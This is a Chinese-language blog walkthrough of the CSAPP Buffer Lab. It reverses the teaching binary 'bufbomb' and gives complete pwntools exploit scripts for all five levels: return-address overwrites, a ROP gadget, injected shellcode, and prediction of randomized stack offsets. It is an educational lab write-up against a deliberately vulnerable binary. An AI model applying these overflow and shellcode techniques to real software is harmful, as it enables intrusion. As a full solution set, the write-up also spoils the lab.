【CSAPP】以CTFer的方式開啟BufferLab

c10udlnk發表於2021-06-26

[WARNING] 本文是對CSAPP附帶的Buffer Lab的究極指北,PWN小白趁機來練習使用pwntools和gdb && 用老朋友IDA檢視程式邏輯(可以說是抄小路了x。

LAB連結:CSAPP - Buffer Lab

任務說明書:buflab.pdf

真正的指南:Bufbomb緩衝區溢位攻擊實驗詳解-CSAPP - 雲+社群 - 騰訊雲


本文環境相關:

  • IDA pro 7.5
  • Python 2.7.17
  • gdb 8.1.1 (外掛使用pwndbg)
  • pwntools 4.4.0 (Python2的庫)

Overview

任務說明

BufBomb分為5個關卡:

  • Level 0 : Candle
    • Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning totest. If you succeed in doing that, you will "light up the candle" and see the "smoke" of it.
    • 通過緩衝區溢位使getbuf()返回時不是返回到test(),而是去執行smoke()
  • Level 1 : Sparkler
    • Similar to Level 0, your task is to get BUFBOMB to execute the code for fizz rather than returning to test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. How can you hear the fizz of your sparkler?
    • 通過緩衝區溢位使getbuf()返回時帶參執行fizz(),引數為使用者的cookie
  • Level 2: Firecracker
    • Similar to Levels 0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returning to test. Before this, however, you must set global variable global_value to your userid's cookie. Your exploit code should set global_value, push the address of bang on the stack, and then execute a ret instruction to cause a jump to the code for bang.
    • 通過緩衝區溢位使getbuf()返回時執行bang(),執行時需滿足global_value == cookie
  • Level 3: Dynamite
    • Your job for this level is to supply an exploit string that will cause getbuf to return your cookie back to test, rather than the value 1. You can see in the code for test that this will cause the program to go "Boom!.". Your exploit code should set your cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute a ret instruction to really return to test.
    • 通過緩衝區溢位使getbuf()的返回值為使用者的cookie而不是1,並且能正常返回到test()中,需注意old ebp的儲存和復原。
  • Level 4: Nitroglycerin
    • Your task is identical to the task for the Dynamite level. Once again, your job for this level is to supply an exploit string that will cause getbufn to return your cookie back to test, rather than the value 1. You can see in the code for test that this will cause the program to go "KABOOM!.". Your exploit code should set your cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute a ret instruction to really return to testn.
    • 需要進行五次攻擊,每一次的場景與Level 3大致相同,只是每次的棧地址會發生改變。

BufBomb使用

開啟二進位制檔案./bufbomb可以看到help

image-20210622155315829

需要輸入對應引數,其中:

  • -u <userid>為必填,但可以隨便填(最好一直用同一個userid)。
  • -n開啟最終關卡Level 4
  • -s為lab自帶的提交系統,本地做可以不用管
  • -h列印help information

也就是說:前面做Level 0~Level 3的時候,啟動程式的命令為./bufbomb -u xxx(其中xxx是userid,可以任選),到Level 4的時候命令則是./bufbomb -u xxx -n,來開啟Nitroglycerin關卡。

(用IDA逆向時可以看到還有個引數是-g,加了這個引數會限定時間。不過這裡help沒提就不管了x)

主流程解析

如果只是為了完成這個Lab的5個Level,本部分可直接跳過,這裡只是解析一下程式的啟動過程,方便理解後續操作。

用IDA開啟bufbomb,從main()看起。

引數分發

image-20210622192124217

這裡的switch-case部分是引數的分發,而必須執行的case u部分是將輸入的userid作為引數傳進gencookie()中來生成cookiegencookie()裡是:

image-20210622191344173

大致邏輯是用userid的hash值作為srand()的種子,然後用rand()生成合法的cookie

由此可見,對於同一個userid來說,cookie是相同的。

還有一個需要關注的地方是case n,這是一個用來開啟Level 4的開關,設定v10=1;v3=5;,在後面的分析中可以知道v10是用來看此時狀態是否為Level 4的標誌(1為開啟Level 4,預設是0);v3則是用來控制棧地址的個數的,在後面的分析中會詳細說明。

case s是我們完全不用關心的分支(lab的提交系統),notify標誌著是否有輸入這個引數,所以在後面的分析中,notify == 1相關的分支我們可以不用理會。

usage()是輸出help資訊,依然可以忽略。

對實驗場景的初始化

回到main函式往下看,initialize_bomb()就是系統的初始化作用,主要是notify == 1的處理,不用考慮。

然後輸出了useridcookie

再下面的邏輯中,用cookie作為srandom()的種子,然後用random()生成隨機數依次給變數v9v5陣列賦值。

image-20210622193426031

這裡可以看到,v9的範圍是[0x100,0x10f0)v5[i]的範圍是[-0x70,0x80)

v5陣列是用來儲存棧基址偏移的int32陣列,預設情況下v3=1,即只有一個棧基址偏移(第一個為0),這樣就能保證棧基址偏移不變;Level 4情況下v3=5,儲存了5個棧基址偏移,並且需要執行5次launcher()

最後傳進launcher()裡的是v5[i]+v9

由此可見,雖然題目裡說Level 4的五次攻擊棧基址是不同的,但因為random()的種子是cookie,所以實際上是可以全部算出來的。於是在打Level 4的時候就可以完全照搬Level 3的辦法,只用改棧基址就好。

總結:主函式後面的部分就是初始化要傳進launcher()裡的引數,然後走launcher()

launcher()解析

image-20210622195711227

a1就是主函式裡的v10,這裡傳給global_nitro,這個全域性變數就是用來標誌是否為Level 4場景的,1則是0則否。

a2則是主函式的v5[i]+v9,傳給了全域性變數global_offset,用來在後面的launch()函式中設定棧基址。

mmap()這裡是把reserved開頭的 0x100000位元組開了可讀可寫可執行的許可權,即[0x55586000,0x55686000)。這段記憶體是用來做棧空間的,因為按照實驗目的來說這個實驗需要在堆疊固定的情況下才能實現,所以為了克服linux下檔案的堆疊隨機化,直接開闢了一個固定地址的棧空間出來,launcher()主要做的就是棧遷移的工作

stack_top實際上就是這塊空間的最後8byte(這裡我也不知道為什麼預留了8byte而不是4byte,攤手),標誌著整塊空間的最高地址。

開了記憶體,接下來就要把esp挪過去了,這裡需要去看彙編:

image-20210623103242004

這一段是把程式正常的esp儲存在ds:global_save_stack中,然後將esp遷移到stack_top處,然後call launch(),返回時從ds:global_save_stack復原原來的esp

程式正常的esp:esp -> eax -> edx -> ds:global_save_stack -> call luanch() -> eax -> esp

實驗場景中的esp:offset unk_55685FF8(即stack_top) -> edx -> esp -> call luanch()

至此把esp挪到了這塊空間的最高地址處

至於為什麼不把ebp也一併挪了……一般函式開頭不都是經典兩句:

image-20210623104843488

順便就儲存ebp+挪了ebp啊(

接下來使用的棧空間就是這塊reserved了。

launch()解析

這就是我們實驗的主函式:

image-20210623105121477

a1就是global_nitro,標誌是否為Level 4;若為Level 4則走testn(),否則走test()

a2是傳進來的棧基址偏移,即global_offset,在alloca()中起到讓esp偏移的作用(alloca()申請的記憶體在棧上,所以((&savedregs-72)&0x3FF0)+a2+15越大即a2越大,則申請到的空間越大,棧頂指標esp指向的地址越低)。這就是Level 4模式下棧基址不同的來源(此模式下a2不同,esp也不同,就是說進到testn()時的棧底地址也不同)

memset的作用是把這一段全部用0xF4填充,也就是說一旦執行到這一塊會引發一個段錯誤(?)。

至於具體的原理看原始碼可以看到,是一個對棧調整的小技巧:

image-20210624010949853

接下來就可以看各個Level的任務了。

其餘函式作用概括

  • test()Level 0-3的主函式。

    image-20210624013150609

  • testn():是Level 4的主函式,與test()差不多,唯一的區別在於輸入呼叫了getbufn()而不是getbuf()

    image-20210624013206986

  • getbuf():建立一個40 bytes的空間用來放輸入。其中Gets()中除了輸入字串以外(末尾換行符置0),還做了一些對notify == 1時提交到評分系統的處理,因為這是我們完全可以忽略的,所以可以當成C標準庫裡的gets()來用。

    image-20210624013317074

  • getbufn():同getbuf(),不過這裡是用一個520 bytes的空間來存輸入。

    image-20210624013301117

  • uniqueval():用當前程式號作為srandom()的種子,返回一個random()隨機數。不過在同一個程式執行時,這個返回的數應該是一樣的(攤手)。用在test()/testn()中起到一個自制canary的作用,防止test()testn()的棧溢位(正常的溢位應該控制在getbuf()/getbufn()裡)。

    image-20210624013421741

  • validate():走到這個函式就說明你的這一關卡成功了(Ohhhhhhh),呼叫的時候是calidate(x)就說明通過了第x關,這裡只是在進行收尾工作。讓success=1,並且計算每一關需要通關的次數及是否達到(前面四關為1,最後一關為5)。notify相關照例不用理會。

    image-20210624084932458

該解釋的都解釋完了,現在開始做題(衝!

Level 0

Level 0是一個最基礎的緩衝區溢位,只要操控返回地址就可。

我們知道,在函式呼叫過程中(比如進到getbut()裡時),棧的情況是:

(這裡用四位元組為一個單位,陣列的標註形式用的是Python裡的切片 /指前閉後開)

在彙編走到call的時候,程式會自動將下一條指令的地址壓進棧裡,然後跳到這個call的函式。在函式開始時,一半會有經典兩句push ebp; mov ebp, esp來儲存上一個棧幀的ebp,也就是圖裡畫的old ebp

image-20210624161142968

我們需要關注的是高亮的這塊ret addr,只要讓輸入的v1足夠長到覆蓋這裡就可,很容易看出v1需要輸入:40個位元組覆蓋v1+4個位元組覆蓋old ebp+4個位元組的返回地址(這裡需要使用smoke()的地址即0x8048B50,這樣就能操控ip返回到這個函式了)。

image-20210624101723841

因為smoke()最後直接用exit(0)退出程式,不必回到上層函式,所以也不用管棧平衡和復原ebp的問題。

image-20210624102538785

最後用python2pwntools寫exp有:(省略了import和主函式部分,這裡只貼關鍵程式碼)

def level0():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    smoke=0x8048B50
    r.recv()
    payload='a'*44+p32(smoke)
    r.sendline(payload)
    print(r.recv())
    r.close()

然後呼叫level0()即可。

image-20210624102129611

Level 1

Level 0的區別是fizz()是一個帶參執行函式:

image-20210624102813936

只有在呼叫fizz()的時候傳入引數cookie才能通關。

這裡需要知道Linux x86的函式呼叫方式是依次將引數從右往左入棧,也就是說是從棧上取引數的。

正常函式call的時候會把返回地址壓棧,所以取引數是從棧頂下一個單元開始取的。

foo(arg0,arg1)呼叫時的棧情況為:

image-20210624145915628

而在這道題裡,fizz()是直接改了ip跳過去的(相當於jmp),並沒有將返回地址壓棧,但是取引數的時候仍然是按照這種規律來取,所以要空一個單元再放引數。

所以需要構造棧的分佈為:

image-20210624150726739

在這裡因為fizz()是通過exit(0)直接退出程式的,所以依然不用管棧平衡。不過一般來說中間的這個隨便填單元可以是rop鏈,這裡選用了pop ebx; ret(地址在0x0804875d處,類似的這種可以用ROPgadget等工具找)。

image-20210624151135868

這樣就可以在返回的時候呼叫這兩條語句,進而將壓進去的cookie值從棧上清掉,回到正常的函式流程。

反正這裡不必這麼麻煩,隨便填單元可以隨便填,但是習慣來說還是用這個pop ebx; ret的地址填上了(也就是exp裡的pop_ebx)。

關鍵程式碼如下:

def level1():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    fizz=0x8048B7A
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    pop_ebx=0x0804875d
    payload='a'*44+p32(fizz)+p32(pop_ebx)+p32(cookie)
    r.sendline(payload)
    print(r.recv())
    r.close()

image-20210624151416485

Level 2

Level 2需要跳轉的函式也是無參函式,跟Level 0的區別在要讓全域性變數global_value == cookie才能過關。

image-20210624151613204

因為是改全域性變數,所以考慮寫shellcode,直接用mov來改。

shellcode為:(這裡只是用來說明思路,用&表示取地址,不符合彙編語法)

mov dword ptr [&global_value],cookie
push &bang
ret

先讓global_value=cookie,然後把bang()的地址壓棧,這樣在下一步ret的時候就會返回到棧頂存的地址即跳到bang()函式。

因為這裡棧空間開的許可權是rwx(可讀可寫可執行),所以這段shellcode可以直接放在棧上,現在需要的就是讓前面的ret addr等於這段shellcode的首地址,這樣就能跳到shellcode處執行。

需要構造的棧空間分佈是:

image-20210624153052025

現在要填的內容只差shellcode_addr是沒拿到的。

這裡可以用pwntools裡提供的gdb介面進行除錯來拿(傳送的payload為'a'*43,這樣可以很容易找到返回地址和後面的地址在哪裡,注意pwntools的sendline()自帶末尾換行符也會被輸進去,所以要少輸一個位元組)。

image-20210624163720793

image-20210624163817082

執行到getbuf()時用hexdumpesp地址往後的十六進位制,藍框處是我們的ret addr該填的地方,綠框開始的部分就可以用來填shellcode(首地址為0x55683928)。

也可以直接用stack看棧佈局:

image-20210624163836389

同樣可以看到0x55683928這個地址是可以開始填shellcode的地方。

於是寫exp有:

def level2():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    # gdb.attach(r)
    bang=0x8048BC5
    global_value=0x804D100
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    # raw_input('#')
    shellcode=asm('mov dword ptr [%s],%s'%(global_value,cookie))+\
              asm('push %s'%bang)+\
              asm('ret')
    shellcode_addr=0x55683928
    # payload='a'*43
    payload='a'*44+p32(shellcode_addr)+shellcode
    r.sendline(payload)
    print(r.recv())
    r.close()

image-20210624154623213

Level 3

Level 3的關鍵點在:

  1. getbuf()的返回值為cookie
  2. 維持堆疊平衡,注意old ebp的復原。

image-20210624155016700

所以程式流程是:getbuf() -> shellcode(把放函式返回值的暫存器即eax的值改成cookie) -> 回到test()裡呼叫getbuf()的下一行(返回地址用ret_addr記錄)。

shellcode_addrLevel 2的一樣,ret_addr可以在IDA中看到是0x8048CD6

image-20210624155448460

現在就差需要復原的old ebp是未知量,用gdb調就可以拿到。

Level 2的除錯流程同,不過payload只輸'a'*39就好(同之前一樣,pwntools的sendline()自帶一個換行符,被Gets()置0了),因為要拿到覆蓋前的old ebp

image-20210624163249234

藍框處就是old ebp,用p/x把這個值的十六進位制列印出來是0x55683950

所以填進exp:

def level3():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    # gdb.attach(r)
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    # raw_input('#')
    old_ebp=0x55683950
    ret_addr=0x8048CD6
    shellcode_addr=0x55683928
    shellcode=asm('mov eax,%s'%cookie)+\
              asm('push %s'%ret_addr)+\
              asm('ret')
    # payload='a'*39
    payload='a'*40+p32(old_ebp)+p32(shellcode_addr)+shellcode
    r.sendline(payload)
    print(r.recv())
    r.close()

image-20210624163514769

Level 4

Level 4的要求和Level 3大致相同,除了要攻擊5次,並且這5次的棧基址會發生變化。

從前面的分析可以知道,棧基址的變化是通過事先用random()生成5個隨機數然後分別傳值實現的(儲存在main()v5中),那我們可以通過同樣的方式生成這五個隨機數,在Level 3的基礎上把地址稍作改變就可。

image-20210624164612833

編寫生成這樣五個隨機數的rand.c有:

#include <stdio.h>
#include <stdlib.h>
int main(){
    int cookie=0;
    scanf("%d",&cookie);
    srandom(cookie);
    int v9=(random()&0xFF0)+256;
    printf("0x%x\n",v9);
    for(int i=1;i<5;i++){
        int tmp=128-(random()&0xF0)+v9;
        printf("0x%x\n",tmp);
    }
    return 0;
}

gcc rand.c -o rand編譯,得到二進位制檔案rand

在exp中就可以用pexpect模組進行互動,將cookie輸入並拿到輸出的五個隨機數。

Level 3的exp相比,shellcode完全可以複用(與棧基址無關),而程式流程完全相同,只有棧基址發生了變化(以及預期輸入的長度從40變到了520),所以只要相應地改變old ebpshellcode_addr就好。

同樣是從前面對launch()分析中可以知道,其他關卡的基址和Level 4的第一次是一樣的,棧基址是通過申請空間的大小來操控,申請的空間與v5[i]有關,v5[i]越大申請的空間越大,棧基址就越低。

所以可以通過倒推得到這個加上隨機數之前的base

def level4():
    r=process(argv=['./bufbomb','-u','111','-n'],executable="./bufbomb")
    # gdb.attach(r)
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    p=pexpect.spawn("./rand")
    p.sendline(str(cookie))
    data=p.read().split('\r\n')[-6:-1]
    p.wait()
    print("[.] get rand -> "+str(data)) #拿到這5個隨機數
    data=[int(x,16) for x in data]
    ebp_base=0x55683950+data[0] #倒推得到base值
    shellcode_base=0x55683928+data[0] #倒推得到base值
    ret_addr=0x8048D42
    shellcode=asm('mov eax,%s'%cookie)+\
              asm('push %s'%ret_addr)+\
              asm('ret')
    for i in range(5):
        # raw_input('#')
        ebp=ebp_base-data[i]
        shellcode_addr=shellcode_base-data[i]
        payload='a'*520+p32(ebp)+p32(shellcode_addr)+shellcode
        r.sendline(payload)
        print(r.recv())
    r.close()

image-20210624165941916

最後五個關卡的exp彙總有:

#!/usr/bin/env python
# ------ Python2 ------
from pwn import *
import pexpect

# context.log_level='debug'

def level0():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    smoke=0x8048B50
    r.recv()
    payload='a'*44+p32(smoke)
    r.sendline(payload)
    print(r.recv())
    r.close()

def level1():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    fizz=0x8048B7A
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    pop_ebx=0x0804875d
    payload='a'*44+p32(fizz)+p32(pop_ebx)+p32(cookie)
    r.sendline(payload)
    print(r.recv())
    r.close()

def level2():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    # gdb.attach(r)
    bang=0x8048BC5
    global_value=0x804D100
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    # raw_input('#')
    shellcode=asm('mov dword ptr [%s],%s'%(global_value,cookie))+\
              asm('push %s'%bang)+\
              asm('ret')
    shellcode_addr=0x55683928
    # payload='a'*43
    payload='a'*44+p32(shellcode_addr)+shellcode
    r.sendline(payload)
    print(r.recv())
    r.close()

def level3():
    r=process(argv=['./bufbomb','-u','111'],executable="./bufbomb")
    # gdb.attach(r)
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    # raw_input('#')
    old_ebp=0x55683950
    ret_addr=0x8048CD6
    shellcode_addr=0x55683928
    shellcode=asm('mov eax,%s'%cookie)+\
              asm('push %s'%ret_addr)+\
              asm('ret')
    # payload='a'*39
    payload='a'*40+p32(old_ebp)+p32(shellcode_addr)+shellcode
    r.sendline(payload)
    print(r.recv())
    r.close()

def level4():
    r=process(argv=['./bufbomb','-u','111','-n'],executable="./bufbomb")
    # gdb.attach(r)
    r.recvuntil('Cookie: ')
    cookie=int(r.recvuntil('\n').strip(),16)
    print("[.] get cookie -> "+hex(cookie))
    p=pexpect.spawn("./rand")
    p.sendline(str(cookie))
    data=p.read().split('\r\n')[-6:-1]
    p.wait()
    print("[.] get rand -> "+str(data))
    data=[int(x,16) for x in data]
    ebp_base=0x55683950+data[0]
    shellcode_base=0x55683928+data[0]
    ret_addr=0x8048D42
    shellcode=asm('mov eax,%s'%cookie)+\
              asm('push %s'%ret_addr)+\
              asm('ret')
    for i in range(5):
        # raw_input('#')
        ebp=ebp_base-data[i]
        shellcode_addr=shellcode_base-data[i]
        payload='a'*520+p32(ebp)+p32(shellcode_addr)+shellcode
        r.sendline(payload)
        print(r.recv())
    r.close()

level0()
level1()
level2()
level3()
level4()

相關文章